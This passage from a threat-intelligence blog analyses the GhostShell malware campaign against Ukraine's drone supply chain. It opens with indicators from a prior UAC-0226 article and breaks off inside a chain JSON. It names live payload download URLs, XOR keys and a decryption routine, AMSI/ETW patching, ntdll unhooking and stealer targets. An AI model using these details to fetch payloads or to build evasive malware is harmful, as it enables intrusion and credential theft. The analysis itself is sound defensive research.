the same browser and file theft objective
the same focus on Ukrainian military-related targets

These are repeatable implementation and operational decisions rather than isolated indicators.
The current sample therefore looks less like an unrelated stealer and more like a further iteration of the same UAC-0226/GIFTEDCROOK tooling line.

Final thoughts

The PowerShell still relies heavily on generated noise.
The outer payload encoding is still a basic byte subtraction.
The inner strings are protected with a recognizable RC4-like construction.

But the overall chain has improved.

The archive hides its real contents behind NTFS Alternate Data Streams.
Persistence is established during extraction.
The payload is split across ProgramData.
The decoded stage no longer presents a normal PE header.
A reflective mapper rebuilds the DLL in memory, and the outer loader reports detailed execution status back to the operator.

That is enough to increase the time required for analysis and reduce the number of obvious on-disk indicators.

It is not particularly elegant.
But, once again, it does not need to be.
It only needs to survive long enough to collect browser secrets, documents, VPN configurations and credentials from the intended target.

IoCs

SHA-256
Malicious Archive
420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

Decoy PDF
dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30

Startup LNK
05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445

WC3 PowerShell loader
6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8

Encoded wt1
3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902

Decoded custom-header image
78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222

Analysis-only reconstructed PE
b268ecbc386d32ace546dd483707fd2c923de8f091741e544f52c7f872fe0d91
Network
142.111.194[.]73:8640
/dj5FZEiLnA/

The following address appears to be used as a connectivity check and is not itself a malicious infrastructure indicator:

1.1.1.1
Files and paths
C:\ProgramData\WC3
C:\ProgramData\wt1
%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\ThJRq_6uEj.lnk
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt
ExitCode.txt
Key10.txt
Loader markers
Main.dll
Func
0x173B0
0x17FB0
0x114200

GhostShell (MB-0009): Targeting Ukraine’s UAV Operations and Defense Supply Chain

by Robin Dost


Today, we are taking a look at malware linked to yet another threat actor, one that has been active since at least February 2026.

Since I could not associate the malware with any previously attributed threat actor, I am naming the actor GhostShell (you’ll find out why later in this article) and assigning it the Malwarebox identifier MB-0009.

The corresponding file has the following SHA-256 hash:

28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff

And was (in my opinion) wrongfully attributed to UAC-0226.
I already published two articles about UAC-0226, check out the latest one (25th of June 2026), to understand my reasoning.

It is an archive named:

Besomar_documentation.rar

The archive exploits CVE-2025-8088 / CVE-2025-6218, a vulnerability we already covered in the context of Gamaredon.


First, let’s extract the archive.

We can already see a familiar pattern here.

Extracting the archive causes a VBS file to be copied into the Windows Startup folder. The actor uses several relative paths to make damn sure they hit the Startup folder, regardless of the archives current working directory.

We also find a whole collection of decoy PDFs. The files themselves are harmless, but they provide us with useful information, for example, about the actors potential targets.

Let’s take a closer look at some of them.

The decoy set suggests that GhostShell is targeting more than individual UAV operators.
The documents are tailored to Ukraines broader drone ecosystem, including military units, technical personnel, procurement staff, volunteer organizations and defense-sector partners.

This indicates an interest in operational access, supply-chain intelligence and the networks supporting Ukrainian UAV deployments.
Anyone who tracks UACs might immediately think of UAC-0244/UAC-0247.
That was the case for me as well, but neither the tradecraft nor the infrastructure patterns match the profile, which is why I assume this is a separate cluster with no connection to the others.

The threat actor is using these files to impersonate Besomar.
Besomar is a Ukrainian company specializing in the development of high-precision fixed-wing drones designed for defense and security applications.

All of the PDFs have the same file size and the same creation date.

Original FilenameTranslated NameCreation Date
БпЛА Besomar 3210.pdfBesomar 3210 UAV.pdf2026:06:06 16:39:42+02:00
Зарядна станція.pdfCharging Station.pdf2026:06:06 16:39:42+02:00
Катапульта.pdfCatapult.pdf2026:06:06 16:39:42+02:00
Комплектація БпЛА Besomar.pdfBesomar UAV Configuration.pdf2026:06:06 16:39:42+02:00
Модифікація Besomar 3210-N.pdfBesomar 3210-N Modification.pdf2026:06:06 16:39:42+02:00
Переваги співпраці.pdfBenefits of Collaboration.pdf2026:06:06 16:39:42+02:00
Про компанію.pdfAbout the Company.pdf2026:06:06 16:39:42+02:00


Looking at the VBS Files

Now let’s take a look at the VBS files.

First, I want to know whether there are any differences between them.

Same hash means same file, so we only need to analyze one of them.

What we have here is essentially just a Base64-encoded string. It is decoded and then executed using ExecuteGlobal.

The script subsequently downloads two files from cloudaxis[.]cc:

https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe
https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe

Let’s have a look at the domain:

The domain is already a few months old and was registered in February. This also matches earlier findings related to this threat actor, but more on that later.

Opening the discovered URLs in a browser returns the following message:

Opening the domain without the URL path, however, shows this:

A decoy hosting website.


Do not let 404 messages like above fool you.
They are often little more than deception attempts by the actor.

So I throw the malware into Kraken, let it run through a sandbox via MANTIS and check whether it can retrieve another payload.

Et voilà, we have a new payload:

And that is not all.

KRAKEN also discovered a second file that can be distributed through the same infrastructure: 22.exe

122.exeab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3
22.exe8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25
update.exeb1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012


For now, however, we will focus on 122.exe

Reverse Engineering 122.exe

I usually run malware in a sandbox before starting the deeper reverse-engineering work. It makes the RE process significantly easier.
Let’s look at the important part of the network traffic.


This is a Hybrid Analysis result and it tells us the following:

  • A new domain, cdnexpress[.]cc is contacted
  • Data is sent to an /analytics endpoint
  • The sandbox receives a Bad Request response

Let’s briefly look at the domain.

It uses a different registrar from the previous domain.
So at least the threat actor did not make the mistake of registering everything through the same provider.

Opening the malware URL returns the following:



Based on the server response, we can assume that the malware contains a client certificate that is required for communication with the backend.
I am not going to provide a complete reverse-engineering write-up of the malware here, but I will summarize the most important parts.

Triage and detect Overlay


File: 122.exe
Type: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 6 sections
SHA256: ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3


The file contains an approximately 190 KB overlay, beginning at file offset 0x19C64.

Next, we need to identify the overlay structure and derive the XOR key.
I used Python here because it was simply faster.

The eight-byte blocks repeat heavily. With a fixed XOR operation, the most common block corresponds to the key:

-> d0cd4cb8d4673e28

We can now decrypt the overlay and carve the embedded PE:

An entropy map reveals an encrypted blob inside .rdata.

One important detail: the apparently identical 0x00–0xFF table also looks highly entropic, but it is merely a lookup table. The actual ciphertext is the blob at .rdata offset corresponding to virtual address:

0x140020880

Recovering the Decryption Routine

Next, we retrieve the decryption routine from the disassembly.

The referencing function contains both an AVX2 implementation and a scalar fallback.

The scalar loop gives us the plaintext algorithm.

movzx eax, cl            ; i & 0xFF
imul  edx, eax, 0x7      ; i*7
sub   dl, 0x58           ; key = (i*7 - 0x58) & 0xFF
xor   dl, [r8+r13*1]     ; ^ cipher[i]      (r13 = base 0x140020880)
mov   [rbx+r8*1], dl     ; plain[i]
cmp   ecx, 0x366         ; len = 870

We can now decrypt the configuration.

The result is a DER sequence containing a PKCS#12 structure.

Next, we inspect the structure using OpenSSL.

The certificate and private key can then be extracted.
The password is empty and the MAC check can be skipped.

What an mTLS Client Certificate Reveals About an Implant PKI

During triage, the sample gave us three related artifacts:

  • A client certificate
  • The corresponding private key
  • A PKCS#12 container in PFX format

The filename client is already our first useful data point.

This is not the server leaf certificate. It is the client side of a mutual-TLS relationship.

It is the material the implant uses to authenticate itself to the command-and-control server.
With mTLS, the server rejects any connection that does not present a valid client certificate.

The PKI therefore acts as an access-control mechanism.

Certificate Fields

Subject : CN=ed6e62814295701f
Issuer  : CN=GhostShell Implant CA
Serial  : 11145A2322AA5595D27E25CC977AD1B53CE88DCD (160 Bit, random)
Valid   : 2026-06-18 05:27:43 UTC -> 2027-06-19 05:27:43 UTC
Algo    : ECDSA, prime256v1 (P-256), Signatur ecdsa-with-SHA256
ExtKeyU : clientAuth (1.3.6.1.5.5.7.3.2) 
BasicC  : CA:FALSE
SAN     : keine

Three observations carry intelligence value.

The Common Name Appears to Be a Per-Implant Identifier

The common name is:

ed6e62814295701f

That is 16 hexadecimal characters, representing eight bytes or 64 bits.

This suggests that every deployed implant may receive its own client certificate with an individual identifier.
If that theory is correct, the CN becomes a potential tracking anchor across the campaign.

At this stage, however, that remains a theory.

The Issuer Names the Implant Framework

The issuer identifies itself as:

GhostShell Implant CA

This is a private certificate authority whose distinguished name was explicitly configured by the operator.

The string is highly likely to be hardcoded into the C2 builder or certificate-generation component, making it one of the most valuable pivots in the entire artifact set.

Possible Toolchain Indicators – with the Necessary Caveats

The combination of:

  • P-256
  • A random 160-bit serial number
  • A minimal critical-extension template

is consistent with Gos crypto/x509 implementation.
P-256 is commonly used there and Go generates certificate serials in a similar form.

This is, however, a weak signal and should not be treated as definitive toolchain attribution.

Naturally, I would now like to access the web server using the extracted client certificate and show you what is behind it.

Unfortunately, doing that and almost everything else interesting I would like to demonstrate, is not legal in Germany.
Since German lawmakers appear to have absolutely no interest in modernizing the relevant legislation and would apparently rather spend their time debating the correct wording of vegan sausage, i’d have to find a legal way for stuff like that and search for a cached/saved file on my sandbox system.

I was lucky, the file was still there on the sandbox file system 🙂

Do you notice anything?

It is the same decoy website, just with a different name and a few minor changes.

What Does 122.exe Do?

122.exe is a loader.

It XOR-decrypts the CRPT overlay and executes the embedded Stage-2 PE in memory. Imports such as VirtualAlloc, VirtualProtect, LoadLibrary and GetProcAddress support this behavior.

Stage 2 is the actual implant.

Stage-2 Capabilities

The implant communicates with cdnexpress[.]cc over HTTPS using WinHTTP.

It authenticates using the embedded elliptic-curve mTLS client certificate associated with ghostshell-client.
At the same time, it ignores validation errors for the server certificate through WinHttpSetOption using flags 0x3300.

The implant sends a host-fingerprinting beacon based on the following template:

implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu

This includes:

  • Implant version
  • Computer name
  • Username
  • Process ID
  • Thread ID

The relevant values are collected through functions including GetComputerName and GetUserName.

The implant also provides screenshot functionality through:

  • GdiplusStartup
  • GetDC
  • CreateCompatibleBitmap
  • BitBlt

This is a classic screen-capture implementation.

CreateProcess is present, providing command and payload execution capability.

Persistence is achieved through registry operations including RegCreateKey and RegSetValue, combined with a reference to:

CurrentVersion\Run

This indicates autostart persistence through a Windows Run key.

File-system functionality is provided through APIs such as:

  • CreateFile
  • WriteFile
  • GetTempPath

This allows the implant to store downloaded artifacts locally.

Anti-analysis functionality includes:

  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • Timing checks using QueryPerformanceCounter

What Does update.exe Do?

We have now analyzed one of the three discovered files. Next up is update.exe.

update.exe is a lightweight x64 in-memory loader that disguises itself as the Windows Security Health Service through manipulated version information.

After performing several basic anti-sandbox checks, including a sleep-timing check, verification of available physical memory and a check of the number of logical processors, the malware retrieves the Telegram page:

t.me/flufff6262

It extracts a value embedded between [CFG] and [/CFG] markers from the page content.

The value is first decoded from Base64 and then decrypted using XOR.


Example

Input: [CFG]XFNPUVZLV1MfAQ==[/CFG]

Output: 86.54.25[.]2

The malware then launches a hidden copy of itself as a new process using the following argument:

--exec <host>

Inside the child process, the malware patches:

  • EtwEventWrite
  • AmsiScanBuffer

It also opens a clean copy of:

C:\Windows\System32\ntdll.dll

The malware reads the clean .text section and overwrites the corresponding section of the already loaded ntdll.dll.

This unhooking operation is likely intended to remove user-mode hooks installed by EDR or monitoring products.

The malware subsequently decrypts an embedded 757-byte x64 shellcode payload using a 16-byte repeating-key XOR key.

The placeholder IP address:

111.111.111.111

inside the shellcode is replaced with the host previously retrieved through Telegram.

The corresponding memory region is then marked as executable and the shellcode is called directly.

The embedded WinINet-based stager connects to the dynamically resolved C2 server over HTTPS on TCP port 443. It retrieves the next stage from a hardcoded URI and loads it directly into memory.

Its structure and behavior are strongly consistent with a Metasploit x64 reverse_https stager.

I did not identify:

  • A persistence mechanism
  • Traditional process injection
  • The deployment of another PE file to the file system

For that reason, update.exe is more accurately classified as an in-memory loader or HTTPS stager, rather than a traditional dropper.

What Does 22.exe Do?

This one was an incidental discovery.

The file is hosted on the threat actors infrastructure, but I have not found any previous malware sightings associated with it.

22.exe is a multi-stage x64 launcher that uses an embedded Xray Core client as a covert transport and proxy layer.

The Go-based launcher first decrypts an embedded configuration using AES-256-GCM.

It then extracts two gzip-compressed components into the temporary directory:

  • An Xray client
  • A native Windows loader

The filenames are randomly generated at runtime.

Xray exposes two local proxies:

HTTP:  127.0.0.1:10809
SOCKS: 127.0.0.1:10808

Outbound traffic is tunneled through a VLESS connection using XTLS Vision and REALITY to:

5.181.156[.]168:25475

The launcher also enables the WinINet proxy for the currently logged-in Windows user and provides the native loader with matching HTTP_PROXY and HTTPS_PROXY environment variables.

The downstream native loader patches the following functions:

  • AmsiScanBuffer
  • AmsiOpenSession
  • EtwEventWrite
  • EtwEventWriteTransfer
  • NtTraceEvent

This is intended to interfere with AMSI- and ETW-based monitoring.

The loader then decrypts an embedded PE using AES-256-CBC, manually applies its relocations, resolves its imports and calls the entry point directly inside its own process.

The final payload was identified with high confidence as Vidar v2.

Vidar collects, among other things:

  • Browser passwords
  • Cookies
  • Browser history
  • Autofill data
  • Cryptocurrency wallet data
  • Cryptocurrency-related browser extensions
  • Telegram artifacts
  • Discord artifacts
  • Steam artifacts
  • Outlook configurations
  • FileZilla configurations
  • System information
  • Screenshots
  • Files defined by the C2 configuration

It also supports server-side loader tasks that allow the operator to execute additional programs or scripts.

After completing its activity or after the configured execution window expires the launcher terminates the processes it started, disables the previously configured proxy, deletes the temporary files and removes itself.

No permanent persistence mechanism was identified in the analyzed execution chain.

IIM Chain

I will spare you the usual IIM blah blah today and instead refer you to the article “IIM Feed: Attack Pattern Mapping for Adversary Infrastructure (5/7) if you want more information about how IIM works and what it is useful for.

Click to View Chains as JSON
{
  "iim_version": "1.1",
  "chain_id": "ghostshell.mb-0009.besomar-rar-to-mtls-implant-telegram-deaddrop-and-xray-vidar",
  "title": "GhostShell (MB-0009) Besomar-themed CVE-2025-8088 RAR to Startup VBS, three-way payload split: EC-mTLS implant on cndexpress.cc, Telegram dead-drop Metasploit stager and Xray/VLESS-tunneled Vidar v2",
  "description": "IIM chain for the June 2026 GhostShell (MB-0009) campaign against Ukraine's UAV / drone supply chain. A RAR archive (Besomar_documentation.rar) abuses CVE-2025-8088/CVE-2025-6218 archive handling to drop a VBS into the Windows Startup folder via relative path traversal. The decoy set impersonates the Ukrainian fixed-wing drone manufacturer Besomar and is tailored to military units, technical staff, procurement and volunteer organisations. The Startup VBS base64-decodes an ExecuteGlobal stub and pulls 122.exe and update.exe from cloudaxis.cc; KRAKEN additionally surfaced 22.exe staged on the same infrastructure. The three binaries form three distinct C2 lanes: (1) 122.exe is an XOR-overlay loader (CRPT, key d0cd4cb8d4673e28) that runs a Stage-2 implant in memory, authenticating to cndexpress.cc over WinHTTP with an embedded EC mutual-TLS client certificate issued by a self-named 'GhostShell Implant CA' while ignoring the server cert; (2) update.exe is an in-memory HTTPS stager that resolves its live C2 host (86.54.25.2) from a Telegram dead-drop (t.me/flufff6262, [CFG]...[/CFG] base64+XOR 'deadbeef1337') and runs a Metasploit-consistent x64 reverse_https shellcode after AMSI/ETW patching and ntdll unhooking; (3) 22.exe is a Go launcher embedding an Xray-Core client that tunnels traffic via VLESS+XTLS Vision+REALITY to 5.181.156.168:25475 and ultimately executes Vidar v2 in memory. The highest-value attribution pivot is the hard-coded issuer CN=GhostShell Implant CA on the implant PKI.",
  "actor_id": "MB-0009",
  "observed_at": "2026-06-22T00:00:00Z",
  "confidence": "likely",
  "needs_review": false,
  "import_source": "manual-osint-report-to-iim-conversion",
  "entities": [
    {
      "id": "rar_archive",
      "type": "file",
      "value": "Besomar_documentation.rar",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff.",
        "Report states the RAR abuses CVE-2025-8088 / CVE-2025-6218 (the same archive-handling weakness used in the Gamaredon case).",
        "Extraction copies a VBS file into the Windows Startup folder using multiple relative paths to reliably reach Startup from the working directory."
      ]
    },
    {
      "id": "decoy_pdf",
      "type": "file",
      "value": "\u0411\u043f\u041b\u0410 Besomar 3210.pdf",
      "observed_at": "2026-06-06T16:39:42+02:00",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Representative member of a 7-PDF decoy set impersonating the Ukrainian fixed-wing drone manufacturer Besomar.",
        "Full set: \u0411\u043f\u041b\u0410 Besomar 3210.pdf, \u0417\u0430\u0440\u044f\u0434\u043d\u0430 \u0441\u0442\u0430\u043d\u0446\u0456\u044f.pdf, \u041a\u0430\u0442\u0430\u043f\u0443\u043b\u044c\u0442\u0430.pdf, \u041a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0430\u0446\u0456\u044f \u0411\u043f\u041b\u0410 Besomar.pdf, \u041c\u043e\u0434\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u044f Besomar 3210-N.pdf, \u041f\u0435\u0440\u0435\u0432\u0430\u0433\u0438 \u0441\u043f\u0456\u0432\u043f\u0440\u0430\u0446\u0456.pdf, \u041f\u0440\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0456\u044e.pdf.",
        "All decoys share identical size and identical creation timestamp 2026:06:06 16:39:42+02:00 (UTC+2 surface signal).",
        "Decoy targeting indicates interest in operational access and supply-chain intelligence around Ukrainian UAV deployments: military units, technical personnel, procurement staff, volunteer organisations and defense-sector partners."
      ]
    },
    {
      "id": "startup_vbs",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftUpdate-1.302.1609.vbs",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107; all VBS copies share this hash (identical file).",
        "Contains a base64 string decoded then run via ExecuteGlobal.",
        "Decoded stub uses WScript.Shell to curl two payloads from cloudaxis.cc into %TEMP% and start them (EdgeUpdate.exe / edge_service.exe).",
        "Placement in the Startup folder provides logon persistence."
      ]
    },
    {
      "id": "cloudaxis_url_122",
      "type": "url",
      "value": "hxxps://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Download URL emitted by the decoded VBS stub for the 122.exe loader.",
        "Defanged from https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe for public feed display."
      ]
    },
    {
      "id": "cloudaxis_url_update",
      "type": "url",
      "value": "hxxps://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Download URL emitted by the decoded VBS stub for the update.exe in-memory loader.",
        "Defanged from https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe for public feed display."
      ]
    },
    {
      "id": "cloudaxis_domain",
      "type": "domain",
      "value": "cloudaxis.cc",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Delivery domain hosting 122.exe and update.exe.",
        "Registrar PDR Ltd d/b/a PublicDomainRegistry.com; created 2026-02-11, expires 2027-02-11 (~131 days old at observation).",
        "Direct browser access to the malware URLs returns 404 Not Found (nginx); the real payloads are only served to the malware client.",
        "Registration date (February) is consistent with earlier GhostShell findings referenced by the analyst."
      ]
    },
    {
      "id": "cloudaxis_ip",
      "type": "ip",
      "value": "154.58.204.149",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Dedicated server hosting cloudaxis.cc.",
        "IP location Madrid, Spain - Cogent Communications.",
        "ASN AS214036 ULTAHOST-AS Ultahost, Inc., US (registered 2024-10-15)."
      ]
    },
    {
      "id": "loader_122",
      "type": "file",
      "value": "122.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3.",
        "PE32+ x86-64, 6 sections; ~190 KB XOR overlay (magic 'CRPT') starting at offset 0x19C64.",
        "Overlay XOR key d0cd4cb8d4673e28 (most frequent 8-byte block under fixed-key XOR).",
        "Acts as a loader: XOR-unpacks the CRPT overlay and runs the Stage-2 PE in memory (VirtualAlloc / VirtualProtect / LoadLibrary / GetProcAddress)."
      ]
    },
    {
      "id": "stage2_implant",
      "type": "file",
      "value": "GhostShell Stage-2 implant (in-memory PE carved from 122.exe CRPT overlay)",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Stage-2 PE32+ x86-64, ~190.5 KB, carved as stage2.bin (MD5 df587c58c82d7cfb41d966d2fe21cecb).",
        "Embedded config stored as an encrypted blob in .rdata at VA 0x140020880; in-place decrypt routine key = (i*7 - 0x58) & 0xFF over len 870, with AVX2 fast-path and scalar fallback.",
        "Decrypted config is a DER/PKCS#12 (.pfx) container holding the mutual-TLS client certificate and private key.",
        "Capabilities: HTTPS C2 via WinHTTP; host-fingerprint beacon implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu; GDI+ screenshot; CreateProcess command execution; Run-key persistence; file I/O; anti-analysis (IsDebuggerPresent / CheckRemoteDebuggerPresent + QueryPerformanceCounter timing)."
      ]
    },
    {
      "id": "implant_cert",
      "type": "certificate",
      "value": "CA:53:3B:51:F3:22:5F:D2:4A:64:C6:34:EE:31:4F:06:01:E7:E2:FF:2D:5E:F3:64:23:5E:F4:EB:16:56:47:AE",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "EC mutual-TLS client certificate carved from the Stage-2 PKCS#12 config (PW empty, MAC check skipped).",
        "Subject CN=ed6e62814295701f (16 hex chars = 8-byte/64-bit per-implant ID); Issuer CN=GhostShell Implant CA; Serial 11145A2322AA5595D27E25CC977AD1B53CE88DCD (160-bit random).",
        "ECDSA prime256v1 (P-256), ecdsa-with-SHA256; clientAuth EKU (critical); CA:FALSE (critical); no SAN; valid 2026-06-18 to 2027-06-19.",
        "Issuer string 'GhostShell Implant CA' is a self-named private CA, very likely hard-coded in the C2 builder - the strongest cluster pivot of the whole set: any future sample or server presenting this issuer hangs off the same cluster.",
        "P-256 + 160-bit random serial + thin critical-extension template is weakly consistent with Go crypto/x509 defaults (low-confidence toolchain hint)."
      ]
    },
    {
      "id": "cndexpress_c2_url",
      "type": "url",
      "value": "hxxps://cndexpress[.]cc/analytics/collect",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Stage-2 implant POSTs host-fingerprint beacons to /analytics/collect over HTTPS (WinHTTP).",
        "Implant authenticates with the embedded EC mTLS client cert and ignores the server certificate (WinHttpSetOption flags 0x3300).",
        "Sandbox without the client cert receives HTTP/1.1 400 Bad Request from nginx (custom headers X-Client-Version / X-Key-ID / X-Thread-ID present in the beacon).",
        "Defanged from https://cndexpress.cc/analytics/collect for public feed display."
      ]
    },
    {
      "id": "cndexpress_domain",
      "type": "domain",
      "value": "cndexpress.cc",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Stage-2 C2 domain; deliberately on a different registrar than the delivery domain (the actor avoids hosting everything in one place).",
        "Registrar Spaceship, Inc.; created 2026-06-15, expires 2027-06-15 (~7 days old at observation).",
        "Root path serves a minimal, AI-generated 'CDN Express' decoy hosting page; the real endpoint requires the mTLS client cert (400 Bad Request 'No required SSL certificate was sent' otherwise)."
      ]
    },
    {
      "id": "cndexpress_ip",
      "type": "ip",
      "value": "5.252.177.88",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois / sandbox)",
      "evidence": [
        "Dedicated server hosting cndexpress.cc; sandbox POSTs to 5.252.177.88:443 (cndexpress.cc) returned 400 Bad Request.",
        "IP location Missouri, US - MivoCloud.",
        "ASN AS39798 MivoCloud SRL, MD (registered 2015-03-24)."
      ]
    },
    {
      "id": "loader_update",
      "type": "file",
      "value": "update.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 b1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012.",
        "Lightweight x64 in-memory loader / HTTPS stager masquerading as 'Windows Security Health Service' via manipulated version info.",
        "Anti-sandbox: sleep-timing check, available-RAM check, logical-processor-count check.",
        "Child process (re-launched with --exec <host>) patches EtwEventWrite and AmsiScanBuffer, then unhooks ntdll by overwriting the loaded .text section from a clean on-disk copy.",
        "Decrypts an embedded 757-byte x64 shellcode with a 16-byte repeating-key XOR; placeholder 111.111.111.111 is replaced with the Telegram-derived host; behaviour is strongly consistent with a Metasploit x64 reverse_https stager. No persistence, no classic process injection, no PE dropped to disk."
      ]
    },
    {
      "id": "telegram_deaddrop",
      "type": "url",
      "value": "hxxps://t[.]me/flufff6262",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "update.exe fetches this Telegram channel page over HTTPS and extracts a value embedded between [CFG] and [/CFG].",
        "The value is base64-decoded then XOR-decoded with key 'deadbeef1337' to yield the runtime C2 host. Example: [CFG]XFNPUVZLV1MfAQ==[/CFG] -> 86.54.25.2.",
        "Channel 'flufff6262' (1 subscriber, bio 'testing some code for fun') acts as a dead-drop resolver on a legitimate third-party platform.",
        "Defanged from https://t.me/flufff6262 for public feed display."
      ]
    },
    {
      "id": "metasploit_c2_ip",
      "type": "ip",
      "value": "86.54.25.2",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Runtime C2 host decoded from the Telegram dead-drop; the WinINet stager connects to it over HTTPS on TCP/443 and loads the next stage in memory.",
        "IP location Kazakhstan ADSL - Icosys Computers And Communication Limited.",
        "ASN AS210006 ASKZ Shereverov Marat Ahmedovich, KZ (registered 2025-05-14); netname Shereverov-network, country KZ.",
        "Because the address is fetched at runtime from a rotating dead-drop post, the operational host can be changed without rebuilding the implant."
      ]
    },
    {
      "id": "launcher_22",
      "type": "file",
      "value": "22.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25.",
        "Discovered by KRAKEN on the same delivery infrastructure; not previously seen elsewhere as malware.",
        "Multi-stage Go x64 launcher: AES-256-GCM-decrypts an embedded config, extracts two gzip components (an Xray-Core client and a native Windows loader) to %TEMP% with randomized filenames.",
        "Native loader patches AmsiScanBuffer, AmsiOpenSession, EtwEventWrite, EtwEventWriteTransfer and NtTraceEvent, then AES-256-CBC-decrypts an embedded PE and manually maps it (relocations + import resolution) before calling its entry point in-process.",
        "On completion it kills started processes, disables the proxy, removes temp files and self-deletes; no persistence observed."
      ]
    },
    {
      "id": "xray_c2",
      "type": "ip",
      "value": "5.181.156.168",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Xray-Core tunnel endpoint; outbound traffic is tunneled via VLESS + XTLS Vision + REALITY to 5.181.156.168:25475.",
        "Locally the launcher exposes an HTTP proxy on 127.0.0.1:10809 and a SOCKS proxy on 127.0.0.1:10808 and sets the user WinINET proxy plus HTTP_PROXY / HTTPS_PROXY for the loader.",
        "IP location Moldova, Chisinau - MivoCloud; resolve host 5-181-156-168.mivocloud.com.",
        "ASN AS39798 MivoCloud SRL, MD (registered 2015-03-24) - same hoster (MivoCloud / AS39798) as the cndexpress.cc C2 IP."
      ]
    },
    {
      "id": "vidar_payload",
      "type": "file",
      "value": "Vidar v2 (in-memory, manually mapped by the 22.exe native loader)",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Final payload identified with high confidence as Vidar v2.",
        "Collects browser passwords, cookies, history and autofill, crypto-wallet data, browser-extension data, Telegram/Discord/Steam artifacts, Outlook/FileZilla configs, system info, screenshots and C2-defined files.",
        "Supports server-side loader tasks for executing further programs or scripts; exfiltration rides the Xray VLESS tunnel."
      ]
    }
  ],
  "chain": [
    {
      "entity_id": "rar_archive",
      "role": "entry",
      "techniques": ["IIM-T024"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "decoy_pdf",
      "role": "entry",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Decoy document is target-localization context for the initial delivery, not the execution payload itself."
    },
    {
      "entity_id": "startup_vbs",
      "role": "staging",
      "techniques": ["IIM-T024"],
